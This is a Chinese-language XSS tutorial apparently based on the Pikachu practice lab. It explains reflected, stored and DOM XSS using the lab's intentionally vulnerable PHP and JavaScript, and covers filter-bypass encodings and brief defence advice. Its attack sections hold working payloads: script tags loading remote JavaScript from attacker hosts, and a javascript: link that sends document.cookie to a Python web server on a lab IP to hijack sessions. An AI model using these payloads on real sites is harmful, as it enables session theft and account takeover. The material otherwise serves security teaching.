一、xss 漏洞介绍
1.1 XSS 漏洞概述
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
1.2 XSS 攻击的危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
1.3 xss 防御
XSS 防御的总体思路是:对输入 (和 URL 参数) 进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行。
二、xss 漏洞的类型
2.1 反射型 XSS
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。
反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html='';
if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'> 输入'kobe'试试 -_-</p>";}else{if($_GET['message']=='kobe'){$html.="<p class='notice'> 愿你和 {$_GET['message']} 一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png'/>";
}else{$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="xss.php">xss</a>
</li>
<li class="active"> 反射型 xss(get)</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="管 tmd 什么 xss, 首先你应该输入 kobe 看一下再说">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<?php echo $html;?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
在反射型 xss 代码中,首先判断 $_GET[‘mssage’]是否等于 kobe,如果不是则在页面中将 $_GET[‘mssage’]复制给 $html 变量中, 而且没有任何过滤再输出到页面中,所以直接输入页面会直接输出 xss 信息,就会造成 xss 攻击。
2.2 存储型 xss
存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。

## 在存储型 xss 代码分析中,看到留言的 inster into 语句中,直接插入留言信息,没有任何过滤,输入恶意代码, 这个代码将记录在数据中。if(array_key_exists("message",$_POST) && $_POST['message']!=null){$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){$html.="<p> 数据库出现异常,提交失败!</p>";}
}
## 浏览器在访问该页面的时,恶意代码会从数据库字段里取出这条记录,没有经过任何处理就直接输出。<div class="page-content">
<div id="xsss_main">
<p class="xsss_title"> 我是一个留言板:</p>
<form method="post">
<textarea class="xsss_in" name="message"></textarea><br />
<input class="xsss_submit" type="submit" name="submit" value="submit" />
</form>
<div id="show_message">
<br />
<br />
<p class="line"> 留言列表:</p>
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'> 删除 </a>";
}
echo $html;
?>
</div>
</div>
2.3 DOM xss
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。
以下是一些经常出现 dom xss 的关键语句
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性

DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML 属性、方法、事件,因此程序中没有与服务器进行交互。
// 点击按钮时,会调用 domxss()函数,跟踪 domxss 函数
function domxss(){var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
// 获取 id text 文本的值,修改 id 为 dom 的 html 值,输入 'onclick="alert('dom xss 漏洞')"> 闭合前面的单引号,即可。
三、漏洞攻击
3.1 xss 测试语句
在网站是否存在 xss 漏洞时,应该输入一些标签如 <、> 输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞。
// 常用的测试语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
// 闭合
"><span>x</span><"
'>"><span>x</span><'// 单行注释"><span>x</span>//
3.2 加载远程攻击的 paylod
// 常见的标准 payload
<script src="http://192.168.0.121/xss.js"></script>
<script src="https://192.168.0.121/xss.js"></script>
// 自动选择协议
<script src=//192.168.0.121/xss.js></script>
// 图片创建加载连接
<img src=''onerror=document.body.appendChild(document.createElement('script')).src='//192.168.0.110/xss.js'>
// 字符并接
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
//jquery 加载
<script>$.getScript("//www.xsstools.com/amER");</script>
3.3 xss 编码绕过
3.3.1 gpc 过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,’ 变成 \’ xss 攻击代码不要带用单引号或双引号。绕过 gpc 在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。
<script src='http://www.xss123.com/JGdbsl?1623638390'></script>
// 这个是执行不了的
<script src=http://www.xss123.com/JGdbsl?1623638390></script>
// 没有单引号可执行。
3.3.2 过滤 alert
当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可。
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>
3.3.3 过滤标签
在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 “<”(小于)和 “>”(大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用 < 或者 >,这两个字符被实体化后在 html 里就不能执行了。
// 预定义的字符是:& (和号)成为 &
" (双引号)成为 "’(单引号)成为 '
< (小于)成为 <
>(大于)成为 >
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上 <> 这两个标签。
<input type="text" name="username" value=""onclick="javascript:alert('xss');"/>
3.3.4 ascii 编码
<script>alert(String.fromCharCode(88,83,83))</script>
3.3.5 url 编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
3.3.6 JS 编码
https://www.jb51.net/tools/zhuanhuan.htm
// 八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
//16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
//jsunicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
3.3.7 HTML 编码
// 在 = 后可以解析 html 编码
// 十进制
<img src="x" onerror="alert(1)" />
<button onclick="confirm('7');">Button</button>
// 十六进制
<img src="x" onerror="alert(1)" />
3.3.8 base64 编码
// 使用伪协议 base64 解码执行 xss
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
四、XSS 实战
4.1 反射型 xss
4.1.1 漏洞挖掘
输入检测代码浏览器查看网页源码是否过滤,如果过滤了,过滤一般是实体过滤。
输入测试语句后,发现标签没有过滤,数据没有插入数据库的,这种属于反射型 xss 漏洞。
$html='';
if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'> 输入'kobe'试试 -_-</p>";}else{if($_GET['message']=='kobe'){$html.="<p class='notice'> 愿你和 {$_GET['message']} 一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png'/>";
}else{$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
//$_GET['mseeage'] 从客户端获取值,再用 echo 直接输出字符串,没有任何过滤。
4.1.2 漏洞攻击
在 xss 利用里生成攻击模块后,获取代码与当前漏洞页面结合使用
http://172.16.182.143:8083/vul/xss/xss_reflected_get.php?message=%3C/textarea%3E%27%22%3E%3Cscript%20src=http://172.16.182.143:8084/UIkwBu?1720601931%3E%3C/script%3E&submit=submit
将构造好的代码发送给管理员,或者攻击目标,如果受害者,访问这个拦截,就会获取用户访问这个网站
的 cookie,如果是登录的 cookie,则攻击者把 cookie 替换受害者浏览器的 cookie,即可获取用户登录这
个这个网站的登录权限。


4.2 存储型 xss 漏洞挖掘
4.2.1 漏洞挖掘
寻找一切能输入的地方,例如留言板、发表文章、友情链接,能与数据库交互的地方,都有可能存在 xss 漏洞,除了检测输入还要检测输出是否有过滤。
<div id="xsss_main">
<p class="xsss_title"> 我是一个留言板:</p>
<form method="post">
<textarea class="xsss_in" name="message"></textarea><br />
<input class="xsss_submit" type="submit" name="submit" value="submit" />
</form>
<div id="show_message">
<br />
<br />
<p class="line"> 留言列表:</p>
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'> 删除 </a>";
}
echo $html;
?>
</div>
</div>
// 从客户端里获取留言记录,没有任何过滤,拼接到 SQL 语句里,再插入到数据库中,当有人访问这个页面时,因为 $html 是直接输出的,没有任何过滤,所以能直接加载恶意代码。
4.2.2 漏洞攻击
在留言板输入 xss 利用平台的恶意代码,有人访问这个页面就会盗取它的 cookie。


4.3 dom 型 xss
4.3.1 漏洞挖掘
dom 型 xss 是用过改变 html 的属性或动作造成的 xss 型漏洞。查找能操作 html 属性的函数,特别是 document.getElementById、document.getElementsByName、document.getElementsByTagName
getElementById() // 返回对拥有指定 id 的第一个对象的引用。getElementsByName() // 返回带有指定名称的对象集合。getElementsByTagName() // 返回带有指定标签名的对象集合。getelementbyid.innerHTML // 更改 html 的字符串和 js 输出的函数
document.write();
<div id="xssd_main">
<script>
function domxss(){var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
// 试试:'><img src="#"onmouseover="alert('xss')">
// 试试:'onclick="alert('xss')">, 闭合掉就行
</script>
<!--<a href=""onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
// 点击 button 会自动加载 domxss()函数,这个函数通过 document.getElementById("text")获取文本的值,再将这个值拼接字符串后改变 dom 的 html。
4.3.2 漏洞攻击
dom xss 因为是从客户端输入输出的,利用相比其他 xss 漏洞相对来说难一些。首先用启动打开 kali 启动简单的 web 服务器
python3 -m http.server 80
// 在 pikachu 上输入点击连接
javascript:eval(document.location="http://172.16.182.134/?cookie="+document.cookie);//



vre